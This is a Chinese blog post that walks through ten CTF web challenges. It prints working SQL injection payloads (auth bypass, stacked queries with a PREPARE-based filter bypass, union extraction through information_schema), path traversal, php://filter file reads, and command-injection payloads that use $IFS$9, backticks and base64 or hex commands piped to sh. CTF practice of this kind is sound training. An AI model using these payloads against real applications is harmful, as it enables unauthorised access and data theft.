背景
在家摸鱼太久啥都没干。突然想起自己好像是CTF半退役选手,便来做做题目当作益智游戏了。
Web Page 1
1. EasySQL
万能密码
账号输入 1' or 1=1#
,密码随便输即可,或者反过来,账号随便输,密码输入1' or 1=1#
。
2. WarmUp
源代码发现 source.php。然后审计,发现传入一个file参数可以用来include file。同时通过hint.php得到flag在 ffffllllaaaagggg 文件中。然后利用目录遍历的技巧得到flag。
1
| http://example.com/?file=source.php%3F/../../../../../../ffffllllaaaagggg
|
3. Havefun
最简单的源码查看和get请求考察。
利用get方式传递cat=dog即可获得flag。
1
| http://example.com/?cat=dog
|
4. Include
简单的php伪协议利用,可以看到藏在注释中的flag。
1
| view-source:http://example.com/?file=php://filter/convert.base64-encode/resource=flag.php
|
然后base64解密即可。
5. 随便注
该题目存在堆叠注入。即可以执行多条sql语句。
我们可以得到有两个表,分别是1919810931114514
,words
。猜测flag就在1919810931114514
这个表中。
1
| 1'; show columns from `1919810931114514`;#
|
发现flag列。
如果这道题的考点只有堆叠注入的话,我们就可以利用以下payload直接读出flag。
1
| 1'; select flag from `1919810931114514`;#
|
但是这道题还过滤了一些常用命令,题目提示如下。
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
所以相当于我们离flag真的只有一墙之隔,正常来说,我们做sql注入题目很多时间都花在了确定flag所在的表,然后是所在的列,现在我们都知道了,但是无法查询。
查看过某位大佬的wp之后,我发现了一种我之前从未使用过的方式PREPARE STATEMENT
,即预处理。
payload如下
1
| 1';Set @b=concat("sele","ct ","* from `1919810931114514`");prepare dump from @b;execute dump;#
|
解释一下,prepare会去预处理一个sql语句,这里被叫做dump。然后语句的具体内容由@b给定。而@b利用了concat来连接select的两部分,绕过了题目的检查,最后excute执行预处理语句,成功得到flag。
参考资料如下。
SQL注入(堆叠注入)——强网杯2019随便注_cc菜的一批-CSDN博客
MySQL PREPARE语句 | 新手教程 (begtut.com)
6.EasySQL
不得不说Web实在是太难了。
这道题我发现了堆叠注入,找到了Flag表。
可惜Flag关键字被过滤了,我们无法直接 1; select * from Flag
。
于是我试着用上一道题了解到的预处理来绕过Flag。结果发现from也被过滤了,而预处理中需要from关键字作为结构。心态崩溃。
在网上搜索后我发现了这道题的源码。 SUCTF-2019/Web/easy_sql
源码的主要部分。
1 2
| $sql = "select " . $post['query'] . "||flag from Flag"; mysqli_multi_query($MysqlLink,$sql);
|
mysqli_multi_query
函数使得这道题存在堆叠注入。然后我们通过输入框传入的参数会以$post['query']
的形式插入到sql语句中。
由于sql语句中有||
存在,||
即逻辑或,实际上的结果只有0和1两种,我们无法获得flag。
我们可以通过传入*, 1
从而构造出select *, 1|flag from Flag
这个语句获得flag。
还可以通过设置sql_mode
将管道符作为连接(concat)而非或运算符,从而得到flag。
1 2 3 4 5 6 7
| *, 1 //对应sql语句 select *, 1||flag from Flag //查询结果 Array ( [0] => flag{da7caaaa-8e1c-4b42-abb8-879328bb7189} [1] => 1 )
1;set sql_mode=PIPES_AS_CONCAT;select 1 //对应sql语句 select 1; 1;set sql_mode=PIPES_AS_CONCAT;select 1||1flag from Flag //查询结果 Array ( [0] => 1 ) Array ( [0] => 1flag{da7caaaa-8e1c-4b42-abb8-879328bb7189} )
|
经过这道题的教训,我打算以后的题目直接去看源码了(
7.Exec
简单的命令联合执行,熟悉linux的管道符就能做出来。
在github上找到了ACTF新生赛里本题的源码 ACTF_Junior_2020/index.php
主要代码
1 2 3 4 5
| <?php if (isset($_POST['target'])) { system("ping -c 3 ".$_POST['target']); } ?>
|
php中调用了system函数来执行linux命令,我们在ping执行完后可以利用管道符来执行其他的命令。
payload
8.Secret File
阅读源码发现Archive_room.php
。然后发现action.php
,其设置了location http头,会进行快速页面跳转影响我们阅读。利用curl命令查看其内容。
发现secre3t.php
文件。内容如下。
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file);
?>
|
得知flag的文件位置flag.php
,测试后推测flag在flag.php的php代码中,没有输出。
利用php伪协议读取base64后的文件并包含。
1
| http://x.node4.buuoj.cn:81/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
|
解码后得到flag。
9.LoveSQL
考察简单的union联合查询注入。
密码框里输入 1' union select 1, 2, 3#
后发现2和3的位置出现了页面回显。那么这两个点都可以进行注入。
首先获得数据库名为geek
1
| 1' union select 1, database(), 3#
|
然后查看geek库下面的数据表们 geekuser 和 l0ve1ysq1
1
| 1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = 'geek'#
|
查看后者花里胡哨的,先查它里面的字段 id,username,password
1
| 1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name = 'l0ve1ysq1'#
|
猜测flag在password字段里
1
| 1' union select 1, group_concat(username), group_concat(password) from l0ve1ysq1 #
|
发现最后一个记录就是flag。
1 2
| <p>Hello cl4y,glzjin,Z4cHAr7zCr,0xC4m3l,Ayrain,Akko,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,leixiao,flag!</p> <p>Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{a3fc2519-e16f-4028-b3f6-f8f6294b99b5}'</p>
|
这道题变着花向我们介绍了一些师傅,密码设置的也非常有趣。
10.Ping Ping Ping
考察命令执行的绕过。
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); }
?>
|
简单ls后发现flag.php,但是尝试cat的时候发现空格被过滤,可以用$IFS$9
绕过空格。
然后flag也被过滤。可以使用变量拼接法、内联执行或者编码法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| //1.变量替换 //a=ag;cat fl$a.php ?ip=1;a=ag;cat$IFS$9fl$a.php
//2.内联执行,这种方法之前没用过 将ls的所有文件全部cat出来! //cat `ls` ?ip=1;cat$IFS$9`ls`
//3.base64解码后执行 //echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh ?ip=1;echo$IFS$9Y2F0IGZsYWcucGhwCg==|base64$IFS$9-d|sh
//4.hex解码后执行 这种编码之前没用过 //echo 63617420666c61672e706870 | xxd -r -p | sh ?ip=1;echo$IFS$963617420666c61672e706870$IFS$9|xxd$IFS$9-r$IFS$9-p|sh
|